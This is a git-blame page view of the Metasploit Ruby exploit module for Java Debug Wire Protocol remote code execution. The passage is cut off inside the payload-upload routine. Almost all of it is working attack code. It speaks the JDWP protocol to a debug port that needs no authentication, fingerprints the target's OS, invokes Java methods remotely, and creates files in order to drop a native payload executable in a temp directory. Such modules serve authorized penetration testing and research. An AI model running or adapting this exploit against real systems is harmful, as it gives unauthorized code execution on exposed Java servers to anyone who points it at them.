Files

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

950 lines
29 KiB
Ruby
Raw Permalink Normal View History

2014-05-29 23:45:44 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-05-29 23:45:44 +02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2014-06-04 12:33:57 -05:00
Rank = GoodRanking
2014-05-29 23:45:44 +02:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
2025-12-17 17:11:13 -05:00
HANDSHAKE = 'JDWP-Handshake'
2014-05-29 23:45:44 +02:00
2025-06-20 13:20:44 +01:00
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
2014-05-29 23:45:44 +02:00
# Command signatures
2025-06-20 13:20:44 +01:00
VERSION_SIG = [1, 1]
CLASSESBYSIGNATURE_SIG = [1, 2]
ALLCLASSES_SIG = [1, 3]
ALLTHREADS_SIG = [1, 4]
IDSIZES_SIG = [1, 7]
CREATESTRING_SIG = [1, 11]
SUSPENDVM_SIG = [1, 8]
RESUMEVM_SIG = [1, 9]
SIGNATURE_SIG = [2, 1]
FIELDS_SIG = [2, 4]
METHODS_SIG = [2, 5]
GETVALUES_SIG = [2, 6]
CLASSOBJECT_SIG = [2, 11]
SETSTATICVALUES_SIG = [3, 2]
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
ARRAYNEWINSTANCE_SIG = [4, 1]
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
THREADNAME_SIG = [11, 1]
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
ARRAYSETVALUES_SIG = [13, 3]
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
2014-05-29 23:45:44 +02:00
# Other codes
2025-06-20 13:20:44 +01:00
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
MODKIND_STEP = 10
EVENT_BREAKPOINT = 2
EVENT_STEP = 1
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
TAG_THREAD = 116
STEP_INTO = 0
STEP_MIN = 0
THREAD_SLEEPING_STATUS = 2
2014-05-29 23:45:44 +02:00
def initialize
super(
2025-06-20 13:20:44 +01:00
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
'Description' => %q{
2014-06-04 12:33:57 -05:00
This module abuses exposed Java Debug Wire Protocol services in order
2014-06-16 13:37:44 -05:00
to execute arbitrary Java code remotely. It just abuses the protocol
2014-06-04 12:33:57 -05:00
features, since no authentication is required if the service is enabled.
2014-05-29 23:45:44 +02:00
},
2025-06-20 13:20:44 +01:00
'Author' => [
2014-06-16 13:37:44 -05:00
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
2014-06-04 12:33:57 -05:00
'Christophe Alladoum', # JDWP Analysis and Exploit
2014-05-29 23:45:44 +02:00
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
2025-06-20 13:20:44 +01:00
'References' => [
['OSVDB', '96066'],
['EDB', '27179'],
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
['URL', 'https://seclists.org/nmap-dev/2010/q1/867'],
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
],
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
'Payload' => {
'Space' => 10000000,
'BadChars' => '',
'DisableNops' => true
},
'Targets' => [
[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
2014-06-16 13:37:44 -05:00
'DisclosureDate' => 'Mar 12 2010'
2014-05-29 23:45:44 +02:00
)
register_options(
[
Opt::RPORT(8000),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
2014-06-04 12:33:57 -05:00
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
2025-06-20 13:20:44 +01:00
]
)
2014-05-29 23:45:44 +02:00
register_advanced_options(
[
2014-06-04 15:56:14 -05:00
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
2025-06-20 13:20:44 +01:00
]
)
2014-05-29 23:45:44 +02:00
end
def check
connect
2014-06-03 23:13:14 +02:00
res = handshake
2014-05-29 23:45:44 +02:00
disconnect
2014-06-04 12:43:39 -05:00
if res.nil?
return Exploit::CheckCode::Unknown('JDWP handshake returned nil')
2014-06-04 12:43:39 -05:00
elsif res == HANDSHAKE
return Exploit::CheckCode::Appears('JDWP handshake successful')
2014-05-29 23:45:44 +02:00
end
Exploit::CheckCode::Safe('The target is not vulnerable')
2014-05-29 23:45:44 +02:00
end
2014-06-04 13:48:53 -05:00
def default_timeout
datastore['RESPONSE_TIMEOUT']
end
2014-05-29 23:45:44 +02:00
# Establishes handshake with the server
def handshake
sock.put(HANDSHAKE)
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
2014-05-29 23:45:44 +02:00
end
# Forges packet for JDWP protocol
2025-12-17 17:11:13 -05:00
def create_packet(cmdsig, data = '')
2014-05-29 23:45:44 +02:00
flags = 0x00
cmdset, cmd = cmdsig
pktlen = data.length + 11
2014-06-03 23:13:14 +02:00
buf = [pktlen, @my_id, flags, cmdset, cmd]
2025-12-17 17:11:13 -05:00
pkt = buf.pack('NNCCC')
2014-05-29 23:45:44 +02:00
pkt << data
2014-06-03 23:13:14 +02:00
@my_id += 2
2014-06-04 13:24:34 -05:00
pkt
2014-05-29 23:45:44 +02:00
end
# Reads packet response for JDWP protocol
2014-06-04 13:48:53 -05:00
def read_reply(timeout = default_timeout)
2015-05-15 11:11:25 -05:00
length = sock.get_once(4, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
pkt_len = length.unpack('N')[0]
if pkt_len < 4
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
end
2025-12-17 17:11:13 -05:00
_, flags, err_code = sock.get_once(7, timeout).unpack('NCn')
2017-08-21 16:36:54 -05:00
if err_code != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
end
2015-05-15 11:11:25 -05:00
2025-12-17 17:11:13 -05:00
response = ''
2017-08-21 16:36:54 -05:00
while response.length + 11 < pkt_len
2015-05-15 11:11:25 -05:00
partial = sock.get_once(pkt_len, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
response << partial
end
2017-08-21 16:36:54 -05:00
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len
2014-06-04 13:24:34 -05:00
response
2014-05-29 23:45:44 +02:00
end
# Returns the characters contained in the string defined in target VM
def solve_string(data)
sock.put(create_packet(STRINGVALUE_SIG, data))
2014-06-04 13:48:53 -05:00
response = read_reply
2025-12-17 17:11:13 -05:00
return '' unless response
2025-06-20 13:20:44 +01:00
2014-05-29 23:45:44 +02:00
return read_string(response)
end
# Unpacks received string structure from the server response into a normal string
def read_string(data)
data_len = data.unpack('N')[0]
2025-06-20 13:20:44 +01:00
return data[4, data_len]
2014-05-29 23:45:44 +02:00
end
# Creates a new string object in the target VM and returns its id
def create_string(data)
buf = build_string(data)
sock.put(create_packet(CREATESTRING_SIG, buf))
2014-06-04 13:48:53 -05:00
buf = read_reply
2025-12-17 17:11:13 -05:00
return parse_entries(buf, [[@vars['objectid_size'], 'obj_id']], false)
2014-05-29 23:45:44 +02:00
end
2014-05-30 00:14:59 +02:00
# Packs normal string into string structure for target VM
2014-05-29 23:45:44 +02:00
def build_string(data)
ret = [data.length].pack('N')
ret << data
2014-06-04 13:24:34 -05:00
ret
2014-05-29 23:45:44 +02:00
end
# Pack Integer for JDWP protocol
2014-05-29 23:45:44 +02:00
def format(fmt, value)
2025-12-17 17:11:13 -05:00
if fmt == 'L' || fmt == 8
2014-05-29 23:45:44 +02:00
return [value].pack('Q>')
2025-12-17 17:11:13 -05:00
elsif fmt == 'I' || fmt == 4
2014-05-29 23:45:44 +02:00
return [value].pack('N')
end
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Unknown format')
2014-05-29 23:45:44 +02:00
end
# Unpack Integer from JDWP protocol
2014-05-29 23:45:44 +02:00
def unformat(fmt, value)
2025-12-17 17:11:13 -05:00
if fmt == 'L' || fmt == 8
2014-05-29 23:45:44 +02:00
return value[0..7].unpack('Q>')[0]
2025-12-17 17:11:13 -05:00
elsif fmt == 'I' || fmt == 4
2014-05-29 23:45:44 +02:00
return value[0..3].unpack('N')[0]
end
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Unknown format')
2014-05-29 23:45:44 +02:00
end
2014-05-30 00:14:59 +02:00
# Parses given data according to a set of formats
2025-06-20 13:20:44 +01:00
def parse_entries(buf, formats, explicit = true)
2014-05-29 23:45:44 +02:00
entries = []
2017-08-21 16:36:54 -05:00
index = 0
2014-05-29 23:45:44 +02:00
if explicit
nb_entries = buf.unpack('N')[0]
2017-08-21 16:36:54 -05:00
buf = buf[4..-1]
2014-05-29 23:45:44 +02:00
else
nb_entries = 1
end
nb_entries.times do |var|
2014-06-04 14:14:23 -05:00
if var != 0 && var % 1000 == 0
2016-02-01 15:12:03 -06:00
vprint_status("Parsed #{var} classes of #{nb_entries}")
2014-06-04 14:14:23 -05:00
end
2014-05-29 23:45:44 +02:00
data = {}
2025-06-20 13:20:44 +01:00
formats.each do |fmt, name|
2025-12-17 17:11:13 -05:00
if fmt == 'L' || fmt == 8
2017-08-21 16:36:54 -05:00
data[name] = buf[index, 8].unpack('Q>')[0]
index += 8
2025-12-17 17:11:13 -05:00
elsif fmt == 'I' || fmt == 4
2017-08-21 16:36:54 -05:00
data[name] = buf[index, 4].unpack('N')[0]
index += 4
2025-12-17 17:11:13 -05:00
elsif fmt == 'S'
2017-08-21 16:36:54 -05:00
data_len = buf[index, 4].unpack('N')[0]
data[name] = buf[index + 4, data_len]
index += 4 + data_len
2025-12-17 17:11:13 -05:00
elsif fmt == 'C'
2017-08-21 16:36:54 -05:00
data[name] = buf[index].unpack('C')[0]
index += 1
2025-12-17 17:11:13 -05:00
elsif fmt == 'Z'
2017-08-21 16:36:54 -05:00
t = buf[index].unpack('C')[0]
2014-05-29 23:45:44 +02:00
if t == 115
2017-08-21 16:36:54 -05:00
data[name] = solve_string(buf[index + 1, 8])
index += 9
2014-05-29 23:45:44 +02:00
elsif t == 73
2025-06-20 13:20:44 +01:00
data[name], buf = buf[index + 1, 4].unpack('NN')
2014-05-29 23:45:44 +02:00
end
else
2025-12-17 17:11:13 -05:00
fail_with(Failure::UnexpectedReply, 'Unexpected data when parsing server response')
2014-05-29 23:45:44 +02:00
end
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
entries.append(data)
end
2014-06-04 13:24:34 -05:00
entries
2014-05-29 23:45:44 +02:00
end
# Gets the sizes of variably-sized data types in the target VM
2014-06-04 13:18:59 -05:00
def get_sizes
2014-05-30 00:14:59 +02:00
formats = [
2025-12-17 17:11:13 -05:00
['I', 'fieldid_size'],
['I', 'methodid_size'],
['I', 'objectid_size'],
['I', 'referencetypeid_size'],
['I', 'frameid_size']
2014-05-29 23:45:44 +02:00
]
2014-06-04 13:18:59 -05:00
sock.put(create_packet(IDSIZES_SIG))
2014-06-04 13:48:53 -05:00
response = read_reply
2014-05-29 23:45:44 +02:00
entries = parse_entries(response, formats, false)
2014-06-03 23:13:14 +02:00
entries.each { |e| @vars.merge!(e) }
2014-05-29 23:45:44 +02:00
end
# Gets the JDWP version implemented by the target VM
def get_version
2014-05-30 00:14:59 +02:00
formats = [
2025-12-17 17:11:13 -05:00
['S', 'descr'],
['I', 'jdwp_major'],
['I', 'jdwp_minor'],
['S', 'vm_version'],
['S', 'vm_name']
2014-05-29 23:45:44 +02:00
]
2014-06-04 13:18:59 -05:00
sock.put(create_packet(VERSION_SIG))
2014-06-04 13:48:53 -05:00
response = read_reply
2014-05-29 23:45:44 +02:00
entries = parse_entries(response, formats, false)
2014-06-03 23:13:14 +02:00
entries.each { |e| @vars.merge!(e) }
2014-05-29 23:45:44 +02:00
end
def version
2025-12-17 17:11:13 -05:00
"#{@vars['vm_name']} - #{@vars['vm_version']}"
2014-05-29 23:45:44 +02:00
end
2014-06-12 01:23:20 +02:00
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
response = read_reply
num_threads = response.unpack('N').first
2017-08-21 16:36:54 -05:00
index = 4
2014-06-12 01:23:20 +02:00
2025-12-17 17:11:13 -05:00
size = @vars['objectid_size']
2014-06-12 01:23:20 +02:00
num_threads.times do
2017-08-21 16:36:54 -05:00
t_id = unformat(size, response[index, size])
2014-06-12 01:23:20 +02:00
@threads[t_id] = nil
2017-08-21 16:36:54 -05:00
index += size
2014-06-12 01:23:20 +02:00
end
end
2014-05-29 23:45:44 +02:00
# Returns reference types for all classes currently loaded by the target VM
2014-06-03 23:13:14 +02:00
def get_all_classes
2014-05-29 23:45:44 +02:00
return unless @classes.empty?
2014-05-30 00:14:59 +02:00
formats = [
2025-12-17 17:11:13 -05:00
['C', 'reftype_tag'],
[@vars['referencetypeid_size'], 'reftype_id'],
['S', 'signature'],
['I', 'status']
2014-05-29 23:45:44 +02:00
]
2014-06-04 13:18:59 -05:00
sock.put(create_packet(ALLCLASSES_SIG))
2014-06-04 13:48:53 -05:00
response = read_reply
2014-05-29 23:45:44 +02:00
@classes.append(parse_entries(response, formats))
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name)
2014-06-03 23:13:14 +02:00
@classes.each do |entry_array|
entry_array.each do |entry|
2025-12-17 17:11:13 -05:00
if entry['signature'].downcase == name.downcase
2014-06-04 13:18:59 -05:00
return entry
end
2014-06-03 23:13:14 +02:00
end
end
2014-05-29 23:45:44 +02:00
nil
end
2014-05-30 00:14:59 +02:00
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
2014-05-29 23:45:44 +02:00
# The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id)
2014-06-04 13:18:59 -05:00
if @methods.has_key?(reftype_id)
return @methods[reftype_id]
end
2014-05-29 23:45:44 +02:00
2014-06-04 13:18:59 -05:00
formats = [
2025-12-17 17:11:13 -05:00
[@vars['methodid_size'], 'method_id'],
['S', 'name'],
['S', 'signature'],
['I', 'mod_bits']
2014-06-04 13:18:59 -05:00
]
2025-12-17 17:11:13 -05:00
ref_id = format(@vars['referencetypeid_size'], reftype_id)
2014-06-04 13:18:59 -05:00
sock.put(create_packet(METHODS_SIG, ref_id))
2014-06-04 13:48:53 -05:00
response = read_reply
2014-06-04 13:18:59 -05:00
@methods[reftype_id] = parse_entries(response, formats)
2014-05-29 23:45:44 +02:00
end
# Returns information for each field in a reference type (ie. object)
def get_fields(reftype_id)
formats = [
2025-12-17 17:11:13 -05:00
[@vars['fieldid_size'], 'field_id'],
['S', 'name'],
['S', 'signature'],
['I', 'mod_bits']
]
2025-12-17 17:11:13 -05:00
ref_id = format(@vars['referencetypeid_size'], reftype_id)
sock.put(create_packet(FIELDS_SIG, ref_id))
response = read_reply
fields = parse_entries(response, formats)
fields
end
# Returns the value of one static field of the reference type. The field must be member of the reference type
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
# for example, the values of private fields can be obtained.
def get_value(reftype_id, field_id)
2025-12-17 17:11:13 -05:00
data = format(@vars['referencetypeid_size'], reftype_id)
data << [1].pack('N')
2025-12-17 17:11:13 -05:00
data << format(@vars['fieldid_size'], field_id)
sock.put(create_packet(GETVALUES_SIG, data))
response = read_reply
num_values = response.unpack('N')[0]
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Bad response when getting value for field')
end
2025-12-17 17:11:13 -05:00
len = @vars['objectid_size']
2017-08-21 16:36:54 -05:00
value = unformat(len, response[5..-1])
value
end
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
# the field's type exactly. For object values, there must exist a widening reference conversion from the
# value's type to the field's type and the field's type must be loaded.
def set_value(reftype_id, field_id, value)
2025-12-17 17:11:13 -05:00
data = format(@vars['referencetypeid_size'], reftype_id)
data << [1].pack('N')
2025-12-17 17:11:13 -05:00
data << format(@vars['fieldid_size'], field_id)
data << format(@vars['objectid_size'], value)
sock.put(create_packet(SETSTATICVALUES_SIG, data))
read_reply
end
2014-05-29 23:45:44 +02:00
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil)
2014-06-03 23:13:14 +02:00
@methods[classname].each do |entry|
2025-06-20 13:20:44 +01:00
if signature.nil?
2025-12-17 17:11:13 -05:00
return entry if entry['name'].downcase == name.downcase
elsif entry['name'].downcase == name.downcase && entry['signature'].downcase == signature.downcase
return entry
2025-06-20 13:20:44 +01:00
end
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
nil
end
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
unless target_class
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
end
2014-05-29 23:45:44 +02:00
2025-12-17 17:11:13 -05:00
get_methods(target_class['reftype_id'])
target_method = get_method_by_name(target_class['reftype_id'], looked_method, signature)
unless target_method
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
end
2014-05-29 23:45:44 +02:00
return target_class, target_method
end
2014-05-30 00:14:59 +02:00
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str_to_fq_class(s)
2025-12-17 17:11:13 -05:00
i = s.rindex('.')
unless i
fail_with(Failure::BadConfig, 'Bad defined break class')
end
2014-05-29 23:45:44 +02:00
2025-06-20 13:20:44 +01:00
method = s[i + 1..-1] # Subtr of s, from last '.' to the end of the string
2014-05-29 23:45:44 +02:00
classname = 'L'
2025-06-20 13:20:44 +01:00
classname << s[0..i - 1].gsub(/[.]/, '/')
2014-05-29 23:45:44 +02:00
classname << ';'
return classname, method
end
2014-06-12 01:23:20 +02:00
# Gets the status of a given thread
def thread_status(thread_id)
2025-12-17 17:11:13 -05:00
sock.put(create_packet(THREADSTATUS_SIG, format(@vars['objectid_size'], thread_id)))
2014-06-12 01:23:20 +02:00
buf = read_reply(datastore['BREAK_TIMEOUT'])
unless buf
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'No network response')
2014-06-12 01:23:20 +02:00
end
2025-12-17 17:11:13 -05:00
status, = buf.unpack('NN')
2014-05-29 23:45:44 +02:00
2014-06-12 01:23:20 +02:00
status
end
# Resumes execution of the application or thread after the suspend command or an event has stopped it
def resume_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(RESUMEVM_SIG))
else
2025-12-17 17:11:13 -05:00
sock.put(create_packet(THREADRESUME_SIG, format(@vars['objectid_size'], thread_id)))
2014-06-12 01:23:20 +02:00
end
response = read_reply(datastore['BREAK_TIMEOUT'])
unless response
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'No network response')
end
2014-06-12 01:23:20 +02:00
response
end
# Suspend execution of the application or thread
def suspend_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(SUSPENDVM_SIG))
else
2025-12-17 17:11:13 -05:00
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars['objectid_size'], thread_id)))
2014-06-12 01:23:20 +02:00
end
response = read_reply
unless response
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'No network response')
2014-06-12 01:23:20 +02:00
end
response
2014-05-29 23:45:44 +02:00
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
2014-06-12 01:55:27 +02:00
data << [SUSPEND_ALL].pack('C')
2014-05-29 23:45:44 +02:00
data << [args.length].pack('N')
2025-06-20 13:20:44 +01:00
args.each do |kind, option|
2014-05-29 23:45:44 +02:00
data << [kind].pack('C')
data << option
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
sock.put(create_packet(EVENTSET_SIG, data))
2014-06-04 13:48:53 -05:00
response = read_reply
unless response
2015-04-16 21:44:56 +02:00
fail_with(Failure::Unknown, "#{peer} - No network response")
end
2014-05-29 23:45:44 +02:00
return response.unpack('N')[0]
end
# Parses a received event and compares it with the expected
2014-06-12 01:55:27 +02:00
def parse_event(buf, event_id, thread_id)
2025-12-17 17:11:13 -05:00
len = @vars['objectid_size']
2014-06-12 01:23:20 +02:00
return false if buf.length < 10 + len - 1
r_id = buf[6..9].unpack('N')[0]
2025-06-20 13:20:44 +01:00
t_id = unformat(len, buf[10..10 + len - 1])
2014-05-30 00:14:59 +02:00
2014-06-12 01:23:20 +02:00
return (event_id == r_id) && (thread_id == t_id)
2014-05-29 23:45:44 +02:00
end
# Clear a defined event request
def clear_event(event_code, r_id)
data = [event_code].pack('C')
data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data))
2014-06-04 13:48:53 -05:00
read_reply
2014-05-29 23:45:44 +02:00
end
2014-05-30 00:14:59 +02:00
# Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
# methods can be invoked.
2014-05-29 23:45:44 +02:00
def invoke_static(class_id, thread_id, meth_id, args = [])
2025-12-17 17:11:13 -05:00
data = format(@vars['referencetypeid_size'], class_id)
data << format(@vars['objectid_size'], thread_id)
data << format(@vars['methodid_size'], meth_id)
2014-05-29 23:45:44 +02:00
data << [args.length].pack('N')
2014-06-03 23:13:14 +02:00
args.each do |arg|
2014-05-29 23:45:44 +02:00
data << arg
data << [0].pack('N')
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
2014-06-04 13:48:53 -05:00
buf = read_reply
2014-06-04 13:18:59 -05:00
buf
2014-05-29 23:45:44 +02:00
end
2014-05-30 00:14:59 +02:00
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
# can be invoked.
2014-05-29 23:45:44 +02:00
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
2025-12-17 17:11:13 -05:00
data = format(@vars['objectid_size'], obj_id)
data << format(@vars['objectid_size'], thread_id)
data << format(@vars['referencetypeid_size'], class_id)
data << format(@vars['methodid_size'], meth_id)
2014-05-29 23:45:44 +02:00
data << [args.length].pack('N')
2014-06-03 23:13:14 +02:00
args.each do |arg|
2014-05-29 23:45:44 +02:00
data << arg
data << [0].pack('N')
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
sock.put(create_packet(INVOKEMETHOD_SIG, data))
2014-06-04 13:48:53 -05:00
buf = read_reply
2014-06-04 13:18:59 -05:00
buf
2014-05-29 23:45:44 +02:00
end
# Creates a new object of specified class, invoking the specified constructor. The constructor
# method ID must be a member of the class type.
2014-05-29 23:45:44 +02:00
def create_instance(class_id, thread_id, meth_id, args = [])
2025-12-17 17:11:13 -05:00
data = format(@vars['referencetypeid_size'], class_id)
data << format(@vars['objectid_size'], thread_id)
data << format(@vars['methodid_size'], meth_id)
2014-05-29 23:45:44 +02:00
data << [args.length].pack('N')
2014-06-03 23:13:14 +02:00
args.each do |arg|
2014-05-29 23:45:44 +02:00
data << arg
data << [0].pack('N')
2014-06-03 23:13:14 +02:00
end
2014-05-29 23:45:44 +02:00
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
2014-06-04 13:48:53 -05:00
buf = read_reply
2014-06-04 13:18:59 -05:00
buf
2014-05-29 23:45:44 +02:00
end
# Creates a byte[]
def create_array(len)
2025-12-17 17:11:13 -05:00
target_class = get_class_by_name('[B')
fail_with(Failure::Unknown, 'target_class is nil') if target_class.nil?
2025-12-17 17:11:13 -05:00
type_id = target_class['reftype_id']
fail_with(Failure::Unknown, 'type_id is nil') if type_id.nil?
2025-12-17 17:11:13 -05:00
data = format(@vars['referencetypeid_size'], type_id)
data << [len].pack('N')
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
buf = read_reply
buf
end
# Initializes the byte[] with values
def set_values(obj_id, args = [])
2025-12-17 17:11:13 -05:00
data = format(@vars['objectid_size'], obj_id)
data << [0].pack('N')
data << [args.length].pack('N')
args.each do |arg|
data << [arg].pack('C')
end
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
read_reply
end
2014-05-29 23:45:44 +02:00
def temp_path
return nil unless datastore['TMP_PATH']
2025-06-20 13:20:44 +01:00
2014-05-29 23:45:44 +02:00
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
# Configures payload according to targeted architecture
def setup_payload
# 1. Setting up generic values.
2025-12-17 17:11:13 -05:00
payload_exe = rand_text_alphanumeric(rand(4..7))
2014-05-29 23:45:44 +02:00
pl_exe = generate_payload_exe
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
# 2. Setting up arch specific...
case target['Platform']
when 'linux'
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
2017-08-22 14:01:48 -05:00
when 'osx'
2017-08-22 16:48:09 -05:00
path = temp_path || '/private/tmp/'
2017-08-22 14:01:48 -05:00
payload_exe = "#{path}#{payload_exe}"
when 'win'
2014-05-29 23:45:44 +02:00
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
2017-08-22 14:01:48 -05:00
end
2017-08-22 16:48:09 -05:00
if @os.downcase =~ /target['Platform']/
2017-08-22 14:01:48 -05:00
print_warning("#{@os} system detected but using #{target['Platform']} target...")
2014-05-29 23:45:44 +02:00
end
return payload_exe, pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id)
2025-12-17 17:11:13 -05:00
size = @vars['objectid_size']
2014-05-29 23:45:44 +02:00
# 1. Creates a string on target VM with the property to be getted
2025-12-17 17:11:13 -05:00
cmd_obj_ids = create_string('os.name')
fail_with(Failure::Unknown, 'Failed to allocate string for payload dumping') if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]['obj_id']
2014-05-29 23:45:44 +02:00
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
2025-12-17 17:11:13 -05:00
runtime_class, runtime_meth = get_class_and_method('Ljava/lang/System;', 'getProperty')
buf = invoke_static(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'], data_array)
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected String') unless buf[0] == [TAG_STRING].pack('C')
2014-05-29 23:45:44 +02:00
2025-06-20 13:20:44 +01:00
str = unformat(size, buf[1..1 + size - 1])
2025-12-17 17:11:13 -05:00
@os = solve_string(format(@vars['objectid_size'], str))
2014-05-29 23:45:44 +02:00
end
# Creates a file on the server given a execution thread
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Failed to allocate string for filename') if cmd_obj_ids.length == 0
2014-05-29 23:45:44 +02:00
2025-12-17 17:11:13 -05:00
cmd_obj_id = cmd_obj_ids[0]['obj_id']
size = @vars['objectid_size']
2014-05-29 23:45:44 +02:00
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
2025-12-17 17:11:13 -05:00
runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', '<init>', '(Ljava/lang/String;)V')
buf = create_instance(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'], data_array)
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object') unless buf[0] == [TAG_OBJECT].pack('C')
2014-05-29 23:45:44 +02:00
2025-06-20 13:20:44 +01:00
file = unformat(size, buf[1..1 + size - 1])
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Failed to create file. Try to change the TMP_PATH') if file.nil? || (file == 0)
2014-05-29 23:45:44 +02:00
register_files_for_cleanup(filename)
2014-06-04 13:18:59 -05:00
file
2014-05-29 23:45:44 +02:00
end
# Stores the payload on a new string created in target VM
2025-12-17 17:11:13 -05:00
def upload_payload(_thread_id, pl_exe)
size = @vars['objectid_size']
2014-06-07 22:43:14 +02:00
buf = create_array(pl_exe.length)
2025-12-17 17:11:13 -05:00
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Array') unless buf[0] == [TAG_ARRAY].pack('C')
2014-05-29 23:45:44 +02:00
2025-06-20 13:20:44 +01:00
